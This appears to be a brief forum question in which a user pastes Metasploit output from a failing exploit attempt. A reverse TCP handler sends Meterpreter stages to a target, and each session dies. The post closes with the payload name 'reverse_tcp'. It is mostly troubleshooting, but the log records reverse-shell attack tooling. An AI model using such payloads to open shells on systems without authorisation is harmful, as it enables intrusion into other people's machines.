this error when run exploit
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[] Started reverse TCP handler on 192.168.6.128:443 [] Sending stage (175174 bytes) to 192.168.6.1 [-] Meterpreter session 1
is not valid and will be closed [] - Meterpreter session 1 closed. [] - Meterpreter session 1 closed. Reason: Died [] Sending stage (175174 bytes) to 192.168.6.1 [-] Meterpreter session 2 is not valid and will be closed [] - Meterpreter session 2 closed. [] Sending stage (175174 bytes) to 192.168.6.1 [-] Meterpreter session 3 is not valid and will be closed [] - Meterpreter session 3 closed. [] Sending stage (175174 bytes) to 192.168.6.1 [-] Meterpreter session 4 is not valid and will be closed [] - Meterpreter session 4 closed. [] Sending stage (175174 bytes) to 192.168.6.1 [] - Meterpreter session 4 closed. Reason: Died [-] Meterpreter session 5 is not valid and will be closed [*] - Meterpreter session 5 closed.
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use reverse_tcp